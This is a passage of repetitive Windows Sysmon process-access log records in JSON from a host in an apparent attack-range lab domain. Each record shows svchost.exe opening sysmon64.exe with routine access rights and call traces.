588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 